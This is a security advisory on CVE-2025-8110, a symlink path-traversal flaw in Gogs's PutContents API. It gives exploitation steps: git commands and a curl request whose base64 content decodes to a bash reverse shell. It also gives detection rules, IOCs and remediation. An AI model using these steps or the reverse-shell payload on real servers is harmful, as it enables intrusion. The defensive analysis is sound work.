CVE-2025-8110

Executive Summary

CVE-2025-8110 is a critical, unpatched zero-day vulnerability in Gogs, a self-hosted Git service. The flaw resides in the PutContents API, where improper handling of symbolic links allows an authenticated attacker to write files outside the intended repository directory. By committing a symlink that points to a sensitive system path (e.g., /etc/cron.d/), an attacker can overwrite arbitrary files on the server, leading to remote code execution (RCE). This vulnerability bypasses the incomplete fix for CVE-2024-55947 and is actively exploited in the wild. Approximately 1,400 exposed Gogs instances exist, with over 700 showing signs of compromise.

Supply Chain & Package Security

Gogs is a Go-based application. The vulnerability is in the core application code, not in a dependency package. However, any organization using Gogs as part of their CI/CD pipeline or internal development infrastructure is at risk. Compromise of a Gogs instance can lead to supply chain attacks if malicious code is injected into repositories hosted on the platform.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
• Base Score: 8.8 (High)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: Low (PR:L) - Requires an authenticated Gogs user.
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: High (I:H)
• Availability Impact: High (A:H)

Threat Level: Critical. The vulnerability is trivial to exploit, has a public PoC, and is actively exploited in the wild. The lack of a patch makes every vulnerable instance a ticking time bomb.

Deep Dive & Mechanics

The vulnerability is a classic symlink race condition / path traversal flaw in the PutContents API endpoint. This API is used to create or update files within a repository.

Normal Operation:

1. An authenticated user creates a commit that adds or modifies a file.
2. The PutContents API receives the file path and content.
3. The API writes the content to the specified path within the repository's working directory.

Vulnerable Operation:

1. An attacker creates a commit that includes a symbolic link (symlink) pointing to an arbitrary path outside the repository, such as /etc/cron.d/malicious.
2. The attacker then uses the PutContents API to write a new file to a path that, due to the symlink, resolves to the target location.
3. The API does not validate whether the final resolved path is within the repository's boundaries. It follows the symlink and writes the attacker-controlled content to the external target.

Example Attack Flow:

1. Attacker creates a file evil_link in the repo that is a symlink to /etc/cron.d/.
2. Attacker uses PutContents to write a file at path evil_link/evil_cron_job.
3. The API resolves evil_link to /etc/cron.d/ and writes the file to /etc/cron.d/evil_cron_job.
4. The cron job executes, giving the attacker a reverse shell or arbitrary code execution.

The root cause is the lack of a path.Clean or symlink resolution check before writing the file. The fix for CVE-2024-55947 was incomplete, as it only addressed a specific case but not the general symlink bypass.

Vulnerable vs. Patched Code

Vulnerable Code (Gogs <= 0.13.3): The PutContents function likely uses a simple path join without resolving symlinks or checking if the final path is within the repository root.

// Vulnerable pseudo-code
func (api *API) PutContents(repo *Repository, path string, content []byte) error {
    fullPath := filepath.Join(repo.WorkDir, path)
    // No symlink resolution or path traversal check
    return os.WriteFile(fullPath, content, 0644)
}

Patched Code (Hypothetical Fix): A patched version would resolve all symlinks and ensure the final path is within the repository's working directory.

// Patched pseudo-code
func (api *API) PutContents(repo *Repository, path string, content []byte) error {
    fullPath := filepath.Join(repo.WorkDir, path)
    // Resolve symlinks
    realPath, err := filepath.EvalSymlinks(fullPath)
    if err != nil {
        return err
    }
    // Check if the resolved path is within the repo
    if !strings.HasPrefix(realPath, repo.WorkDir) {
        return errors.New("path traversal detected")
    }
    return os.WriteFile(realPath, content, 0644)
}

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A vulnerable Gogs instance (<= 0.13.3)
• An authenticated user account on that instance
• A repository where the user has write access

Exploitation Steps:

1. Create a symlink in the repository:

   git clone http://target:3000/user/repo.git
   cd repo
   ln -s /etc/cron.d/ evil_link
   git add evil_link
   git commit -m "symlink"
   git push origin main
   

2. Use the PutContents API to write a malicious cron job:

   curl -X PUT "http://target:3000/api/v1/repos/user/repo/contents/evil_link/evil_cron" \
     -H "Authorization: token YOUR_TOKEN" \
     -H "Content-Type: application/json" \
     -d '{
       "content": "IyEvYmluL2Jhc2gKYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4wLjAuMS80NDQ0IDA+JjE=",
       "message": "malicious cron"
     }'
   

   Note: The content field is base64-encoded. The example above decodes to a reverse shell script.

3. Trigger the cron job (or wait for it to execute): The cron job will execute, providing a reverse shell to the attacker.

Nuclei Template (Provided): The provided Nuclei template can be used to scan for vulnerable Gogs instances. It checks the login page for the version string and compares it against the vulnerable range.

id: CVE-2025-8110

info:
  name: Gogs <= 0.13.3 - Remote Code Execution
  author: rxerium
  severity: high
  description: |
    Gogs self-hosted Git service versions 0.13.3 and earlier contain a critical symlink bypass vulnerability that circumvents the fix for CVE-2024-55947. Authenticated users can exploit improper symbolic link handling in the PutContents API to overwrite files outside the repository by committing a symlink pointing to sensitive targets, leading to remote code execution. As of December 2025, this remains an unpatched zero-day with active exploitation ongoing. Approximately 1,400 exposed Gogs instances exist, with over 700 showing signs of compromise. The vulnerability stems from the API writing to file paths without checking if targets are symlinks pointing outside the repository. Gogs maintainers are working on a fix.
  remediation: |
    Update to the latest version of Gogs.
  impact: |
    Local attackers can execute arbitrary code, potentially leading to full system compromise.
  reference:
    - https://www.wiz.io/blog/wiz-research-gogs-cve-2025-8110-rce-exploit
    - https://thehackernews.com/2025/12/unpatched-gogs-zero-day-exploited.html
    - https://github.com/advisories/ghsa-mq8m-42gh-wq7r
    - https://nvd.nist.gov/vuln/detail/CVE-2025-8110
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2025-8110
    epss-score: 0.21396
    epss-percentile: 0.95718
    cwe-id: CWE-22
  metadata:
    verified: true
    vendor: gogs
    product: gogs
    max-request: 1
    shodan-query: http.title:"Sign In - Gogs"
  tags: cve,cve2025,gogs,git,symlink,rce,kev,vkev,passive

http:
  - method: GET
    path:
      - "{{BaseURL}}/user/login"

    extractors:
      - type: regex
        name: version
        group: 1
        regex:
          - 'Gogs Version: ([0-9.]+)'

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "Sign In - Gogs: Go Git Service")'
          - 'compare_versions(version, "<= 0.13.3")'
        condition: and
# digest: 4a0a0047304502204a2a2db22a4dce1f9cd907f93adf54e6c411cd4d6d13d655a448bdf2afc342f1022100a481296ad7d3996ebd89c52b1e87db8e47fae719e249f7d39624a4bee6d9336c:922c64590222798bb761d5b6d8e72950

Blue Team (Defensive)

Detection:

• Monitor for unusual file writes outside the repository directory.
• Audit Gogs logs for PutContents API calls that reference symlinks.
• Use file integrity monitoring (FIM) to detect changes to critical system files (e.g., /etc/cron.d/, /etc/passwd).

Honeypot:

• Deploy a honeypot Gogs instance to capture attacker behavior.
• Monitor for the creation of symlinks in repositories followed by PutContents API calls.

Containment:

• Immediately isolate any vulnerable Gogs instance.
• Revoke all user tokens and force password resets.
• Restore from a known good backup if compromise is suspected.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP PUT requests to /api/v1/repos/*/contents/* with paths containing symlink names.
• Outbound connections from the Gogs server to attacker-controlled IPs (e.g., reverse shell).

File System IOCs:

• Unexpected symlinks in Gogs repositories pointing to system directories (e.g., /etc/, /root/, /var/spool/cron/).
• New or modified files in system directories that were written by the Gogs process.
• Presence of cron jobs, SSH authorized_keys, or systemd services that were not manually created.

Log IOCs:

• Gogs access logs showing PUT requests to the contents API with suspicious paths.
• System logs showing the Gogs process writing to files outside its expected working directory.

Detection Engineering

YARA Rule

rule CVE_2025_8110_Gogs_Symlink_Exploit {
    meta:
        description = "Detects Gogs PutContents API requests with symlink paths"
        author = "Valters IT"
        date = "2025-12-15"
        reference = "CVE-2025-8110"
    strings:
        $api_path = "/api/v1/repos/" nocase
        $contents = "/contents/" nocase
        $symlink_pattern = /\/contents\/[^\/]+\/[^\/]+\/[^\/]+/  // e.g., /contents/evil_link/evil_cron
    condition:
        $api_path and $contents and $symlink_pattern
}

Sigma Rule

title: Gogs PutContents API Symlink Exploitation
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects exploitation of CVE-2025-8110 via PutContents API with symlink paths
author: Valters IT
date: 2025/12/15
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-8110
logsource:
    category: webserver
    product: gogs
detection:
    selection:
        cs-method: 'PUT'
        cs-uri-query|contains: '/api/v1/repos/'
        cs-uri-query|contains: '/contents/'
        cs-uri-query|re: '\/contents\/[^\/]+\/[^\/]+\/[^\/]+'
    condition: selection
falsepositives:
    - Legitimate use of nested directories in repository
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-8110 Gogs PutContents API Symlink Exploitation";
    flow:to_server,established;
    content:"PUT";
    http_method;
    content:"/api/v1/repos/";
    http_uri;
    content:"/contents/";
    http_uri;
    pcre:"/\/contents\/[^\/]+\/[^\/]+\/[^\/]+/";
    classtype:attempted-admin;
    sid:10000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Isolate: Disconnect the Gogs server from the network if possible.
2. Disable: Temporarily disable the PutContents API endpoint by modifying the Gogs configuration or using a reverse proxy to block PUT requests to /api/v1/repos/*/contents/*.
3. Audit: Check for signs of compromise (see IOCs). If compromised, assume full system compromise and rebuild from scratch.

Long-Term Fix:

• Patch: As of this writing, no official patch exists. Monitor the Gogs GitHub repository for updates. Apply the patch as soon as it is released.
• Workaround: Implement a custom middleware or reverse proxy rule that validates the PutContents API path and rejects any request that contains a symlink or path traversal sequence (e.g., ..).
• Upgrade: Once a patched version is released, upgrade immediately.

Preventive Measures:

• Restrict Gogs user accounts to only trusted individuals.
• Use a Web Application Firewall (WAF) to block suspicious API requests.
• Implement strict file system permissions to prevent the Gogs user from writing to sensitive directories.
• Regularly audit Gogs instances for exposed services.

Valters IT
Securing Your Digital Frontier

{/* [Security Hash: 915CF10F946C29D1B6B3829D] */}